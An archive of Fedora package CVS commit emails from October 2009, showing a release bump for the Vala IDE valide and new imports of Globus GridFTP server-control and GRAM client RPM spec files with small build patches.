From bioinfornatics at fedoraproject.org  Mon Oct 19 18:05:07 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 18:05:07 +0000 (UTC)
Subject: rpms/valide/F-12 valide.spec,1.9,1.10
Message-ID: <20091019180507.7A58711C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27287

Modified Files:
	valide.spec 
Log Message:
Update Valaide to the newest release


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-12/valide.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- valide.spec	19 Oct 2009 17:06:36 -0000	1.9
+++ valide.spec	19 Oct 2009 18:05:07 -0000	1.10
@@ -3,14 +3,14 @@
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
-# The source for this package was pulled from upstream's vcs.  Use the
+# The source for this package was pulled from upstream's cvs.  Use the
 # following commands to generate the tarball:
 # svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
 # tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.19.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.20.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -120,6 +120,9 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.20.20091019svn425
+- Bug fix
+
 * Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
 - Bug fix
 



From ellert at fedoraproject.org  Mon Oct 19 18:05:14 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:05:14 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/EL-4
	globus-gridftp-server-control.patch, NONE,
	1.1 globus-gridftp-server-control.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180514.34E4211C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27337/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gridftp-server-control.patch 
	globus-gridftp-server-control.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


globus-gridftp-server-control.patch:
 globus_gridftp_server_control.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE globus-gridftp-server-control.patch ---
diff -ur globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c globus_gridftp_server_control-0.36/globus_gridftp_server_control.c
--- globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c	2008-10-02 05:46:49.000000000 +0200
+++ globus_gridftp_server_control-0.36/globus_gridftp_server_control.c	2009-08-06 13:09:14.354409279 +0200
@@ -25,6 +25,10 @@
 #include <fnmatch.h>
 #endif
 
+#ifndef MAXPATHLEN
+#define MAXPATHLEN 4096
+#endif
+
 #define DEFAULT_MAX_Q_LEN               10
 #define GSU_MAX_USERNAME_LENGTH         256
 #define GSU_MAX_PW_LENGTH               GSU_MAX_USERNAME_LENGTH*6


--- NEW FILE globus-gridftp-server-control.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gridftp-server-control
%global _name %(tr - _ <<< %{name})
Version:	0.36
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus GridFTP Server Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/server-lib/src globus_gridftp_server_control-0.36
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gridftp_server_control-0.36
#		tar -zcf globus_gridftp_server_control-0.36.tar.gz globus_gridftp_server_control-0.36
Source:		%{_name}-%{version}.tar.gz
#		MAXPATHLENGTH should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6829
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-xio-gsi-driver%{?_isa}
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 5
BuildRequires:	globus-xio-gsi-driver-devel%{?_isa}
BuildRequires:	globus-xio-devel%{?_isa}

%package devel
Summary:	Globus Toolkit - Globus GridFTP Server Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 5
Requires:	globus-xio-gsi-driver-devel%{?_isa}
Requires:	globus-xio-devel%{?_isa}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus GridFTP Server Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus GridFTP Server Library Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


--- NEW FILE import.log ---
globus-gridftp-server-control-0_36-1_fc11:EL-4:globus-gridftp-server-control-0.36-1.fc11.src.rpm:1255975497


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:05:14 -0000	1.2
@@ -0,0 +1 @@
+globus_gridftp_server_control-0.36.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:59 -0000	1.1
+++ sources	19 Oct 2009 18:05:14 -0000	1.2
@@ -0,0 +1 @@
+170921463d09550884ea19adeb68eba7  globus_gridftp_server_control-0.36.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:07:45 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:07:45 +0000 (UTC)
Subject: rpms/globus-gram-client/devel globus-gram-client-doxygen.patch, NONE,
	1.1 globus-gram-client.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180746.0F9EC11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-client/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29227/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-client-doxygen.patch globus-gram-client.spec 
	import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


globus-gram-client-doxygen.patch:
 globus_gram_client_attr.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gram-client-doxygen.patch ---
diff -ur globus_gram_client-7.2.orig/globus_gram_client_attr.c globus_gram_client-7.2/globus_gram_client_attr.c
--- globus_gram_client-7.2.orig/globus_gram_client_attr.c	2007-02-27 23:10:00.000000000 +0100
+++ globus_gram_client-7.2/globus_gram_client_attr.c	2009-08-06 07:16:34.370219417 +0200
@@ -191,7 +191,7 @@
  *
  * @param attr
  *     The attribute set to update.
- * @param credential
+ * @param mode
  *     The new value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR
@@ -230,7 +230,7 @@
  *
  * @param attr
  *     The attribute set to query.
- * @param credential
+ * @param mode
  *     Pointer to a location to set to the value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR


--- NEW FILE globus-gram-client.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gram-client
%global _name %(tr - _ <<< %{name})
Version:	7.2
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Client Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/client/source globus_gram_client-7.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_client-7.2
#		tar -zcf globus_gram_client-7.2.tar.gz globus_gram_client-7.2
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fix some doxygen warnings:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6828
Patch0:		%{name}-doxygen.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gram-protocol-devel%{?_isa} >= 6
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-rsl-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	globus-gram-protocol-doc >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Client Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-gram-protocol-devel%{?_isa} >= 6
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-rsl-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Client Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Client Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Client Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Client Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-client-7_2-1_fc11:HEAD:globus-gram-client-7.2-1.fc11.src.rpm:1255975643


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:07:45 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_client-7.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:25:41 -0000	1.1
+++ sources	19 Oct 2009 18:07:45 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+d40c311a8f878124f95602d8ab074658  globus_gram_client-7.2.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:08:58 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:08:58 +0000 (UTC)
Subject: rpms/globus-gram-client/F-12 globus-gram-client-doxygen.patch, NONE,
	1.1 globus-gram-client.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180858.D525011C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-client/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29897/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-client-doxygen.patch globus-gram-client.spec 
	import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


globus-gram-client-doxygen.patch:
 globus_gram_client_attr.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gram-client-doxygen.patch ---
diff -ur globus_gram_client-7.2.orig/globus_gram_client_attr.c globus_gram_client-7.2/globus_gram_client_attr.c
--- globus_gram_client-7.2.orig/globus_gram_client_attr.c	2007-02-27 23:10:00.000000000 +0100
+++ globus_gram_client-7.2/globus_gram_client_attr.c	2009-08-06 07:16:34.370219417 +0200
@@ -191,7 +191,7 @@
  *
  * @param attr
  *     The attribute set to update.
- * @param credential
+ * @param mode
  *     The new value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR
@@ -230,7 +230,7 @@
  *
  * @param attr
  *     The attribute set to query.
- * @param credential
+ * @param mode
  *     Pointer to a location to set to the value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR


--- NEW FILE globus-gram-client.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gram-client
%global _name %(tr - _ <<< %{name})
Version:	7.2
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Client Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/client/source globus_gram_client-7.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_client-7.2
#		tar -zcf globus_gram_client-7.2.tar.gz globus_gram_client-7.2
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fix some doxygen warnings:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6828
Patch0:		%{name}-doxygen.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gram-protocol-devel%{?_isa} >= 6
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-rsl-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	globus-gram-protocol-doc >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Client Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-gram-protocol-devel%{?_isa} >= 6
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-rsl-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Client Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Client Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Client Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Client Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-client-7_2-1_fc11:F-12:globus-gram-client-7.2-1.fc11.src.rpm:1255975719


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:08:58 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_client-7.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:25:41 -0000	1.1
+++ sources	19 Oct 2009 18:08:58 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+d40c311a8f878124f95602d8ab074658  globus_gram_client-7.2.tar.gz



From wtogami at fedoraproject.org  Mon Oct 19 18:09:11 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
